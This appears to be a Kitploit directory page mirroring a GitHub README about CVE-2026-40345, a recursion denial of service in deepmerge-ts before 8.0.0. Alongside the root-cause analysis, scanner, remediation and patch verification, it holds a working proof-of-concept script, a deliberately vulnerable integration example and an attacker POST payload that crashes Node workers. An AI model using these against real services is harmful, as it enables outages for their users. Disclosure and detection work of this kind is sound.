Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-40345 — Reproduces a stack-exhaustion denial-of-service in deepmerge-ts before 8.0.0, documents exploitation, and includes a scanner for vulnerable dependency ranges. | Kitploit
Tools/GitHubGitHub/jvr2022/cve-2026-40345
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationWeb SecuritySupply Chain Security
GitHubjvr2022/cve-2026-40345

CVE-2026-40345

Reproduces a stack-exhaustion denial-of-service in deepmerge-ts before 8.0.0, documents exploitation, and includes a scanner for vulnerable dependency ranges.

View Repository
13 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

deepmerge-ts < 8.0.0: recursive object graph DoS

I reproduced a stack exhaustion bug in deepmerge-ts versions before 8.0.0.

The interesting part is that the crash does not need a huge nested object. It comes from object identity. If both values being merged point back to themselves through the same property, the merge routine keeps visiting the same pair until Node.js runs out of stack space.

Advisory: GHSA-ggr8-5vv4-36mx CVE: CVE-2026-40345 CWE: CWE-674 Severity: High Impact: Availability

Why this stood out

Most merge tests use ordinary JSON-shaped data:

root@kitploit:~
{
  user: {
    name: "alice"
  }
}

That data is acyclic. JavaScript objects can also contain references to themselves or to another object in the same graph. Those cases are easy to miss if the test suite only uses JSON fixtures.

The smallest failing graph is two separate objects with the same self-reference:

root@kitploit:~
const left = {};
left.self = left;

const right = {};
right.self = right;

What happens internally

Record merging walks the enumerable keys, collects the values for each key, and calls the merge routine again for those values. There is no cycle check and no tracking for a previously-seen object pair in the affected releases.

The self key sends execution back into the same state:

root@kitploit:~
deepmerge(left, right)
  -> merge(left.self, right.self)
  -> merge(left.self, right.self)
  -> merge(left.self, right.self)
  -> RangeError: Maximum call stack size exceeded

The same behavior is reachable through deepmergeInto, deepmergeCustom, and deepmergeIntoCustom when they receive the same kind of graph.

Local reproduction

The package is pinned to the affected 7.1.6 release in package.json.

root@kitploit:~
npm install
npm run poc

The complete test is in poc.mjs. It runs both public APIs locally and catches the expected RangeError so the result is easy to read.

The important part of the PoC is:

root@kitploit:~
import { deepmerge } from "deepmerge-ts";

function recursiveRecord() {
  const record = {};
  record.self = record;
  return record;
}

deepmerge(recursiveRecord(), recursiveRecord());

Expected output:

root@kitploit:~
deepmerge: RangeError: Maximum call stack size exceeded
deepmergeInto: RangeError: Maximum call stack size exceeded

The PoC returns success when the affected behavior is observed. If the package is upgraded and both calls complete, it prints a clean result and exits with status 1 because the issue was not reproduced.

How this can be exploited

There is no magic cyclic JSON payload. A normal JSON parser creates an acyclic graph, so this is not triggered by simply sending a very deep JSON body to:

root@kitploit:~
deepmerge(defaults, req.body);

The application needs to create or preserve the cycle before calling the merge function. That can happen in graph hydration code, a reference-preserving deserializer, cache or session object reuse, or custom logic that links records together.

Here is a small example of a vulnerable integration. The hydrate function turns a user-controlled flag into a self-reference:

root@kitploit:~
import { deepmerge } from "deepmerge-ts";

function hydrate(input) {
  const object = { value: input.value };
  if (input.self === true) object.self = object;
  return object;
}

function mergeRequest(body) {
  const left = hydrate(body.left);
  const right = hydrate(body.right);
  return deepmerge(left, right);
}

If an HTTP route calls mergeRequest, an attacker can send:

root@kitploit:~
POST /merge
Content-Type: application/json

{"left":{"value":"a","self":true},"right":{"value":"b","self":true}}

Both sides now contain a self reference. When the route calls deepmerge(left, right), the library follows left.self and right.self, receives the same pair again, and recurses until V8 throws.

An application does not have to use this exact hydrate function. The important conditions are:

  1. Attacker-controlled data can influence a recursive object graph.
  2. Both merge inputs contain a cycle at the same property path.
  3. The graph reaches one of the affected merge APIs.

If the route is public and the exception is uncaught, a single request can stop the Node.js worker. If a process supervisor automatically restarts it, repeated requests can keep the service in a restart loop. If authentication is required, the attacker still needs access to that route.

This is a denial of service issue. The bug does not provide code execution, file access, or a way to read merge input from another request.

Why JSON alone is not enough

This distinction matters when assessing a real application. The following request body is not itself a cycle:

root@kitploit:~
{
  "self": true
}

It only becomes relevant if application code interprets self: true as a reference to the root object, or if another parser restores object references. The package should still handle the resulting graph safely, but the remote exploitability depends on the code around the package.

Impact

The direct impact is availability through synchronous stack exhaustion.

Depending on the surrounding application, the result can be:

  • one request failing with a RangeError
  • an uncaught exception terminating a worker process
  • repeated worker restarts under a process manager
  • a request queue backing up while workers are restarted
  • a service becoming unavailable when the route can be reached repeatedly

There is no confidentiality or integrity impact in this issue by itself. The severity increases when the merge route is unauthenticated, reachable from the public internet, or automatically retried by another service.

Detection

I added scanner.mjs to find affected dependency references before running the crash PoC. It checks:

  • package.json dependency ranges
  • package-lock.json
  • npm-shrinkwrap.json
  • pnpm-lock.yaml

Run it against a project directory:

root@kitploit:~
node scanner.mjs /path/to/project

For CI or other tooling, use JSON output:

root@kitploit:~
node scanner.mjs /path/to/project --json

Example result for this repository:

root@kitploit:~
deepmerge-ts findings: 2
VULNERABLE package-lock.json node_modules/deepmerge-ts resolved=7.1.6
VULNERABLE package.json dependencies requested=7.1.6

The scanner exits with status 1 when it finds an affected version or range. Git URLs and other non-semver sources are marked REVIEW instead of being silently treated as safe.

Remediation

The direct fix is to upgrade to deepmerge-ts >= 8.0.0 and refresh the lockfile.

root@kitploit:~
npm install deepmerge-ts@^8.0.0

The application should also decide how recursive input is handled. Reasonable options are:

  • reject cycles at the input boundary
  • track visited object pairs during merging
  • cap merge depth and fail with a controlled error
  • catch merge errors at the request boundary
  • monitor worker exits and restart loops

Catching the error is useful for process stability, but it does not remove the underlying denial of service if an attacker can repeat the request. Upgrading the dependency and handling recursive input are the important fixes.

Verifying the patched release

Change the dependency to 8.0.1, reinstall, and run the same PoC:

root@kitploit:~
npm install [email protected]
npm run poc

On the patched release both calls complete and the script prints:

root@kitploit:~
deepmerge: completed
deepmergeInto: completed
No stack exhaustion observed. Try an affected version below 8.0.0.

References

  • GitHub Security Advisory
  • CVE-2026-40345
  • deepmerge-ts on npm
  • CWE-674: Uncontrolled Recursion

License

The PoC and scanner in this repository are released under the MIT License.

Download Tool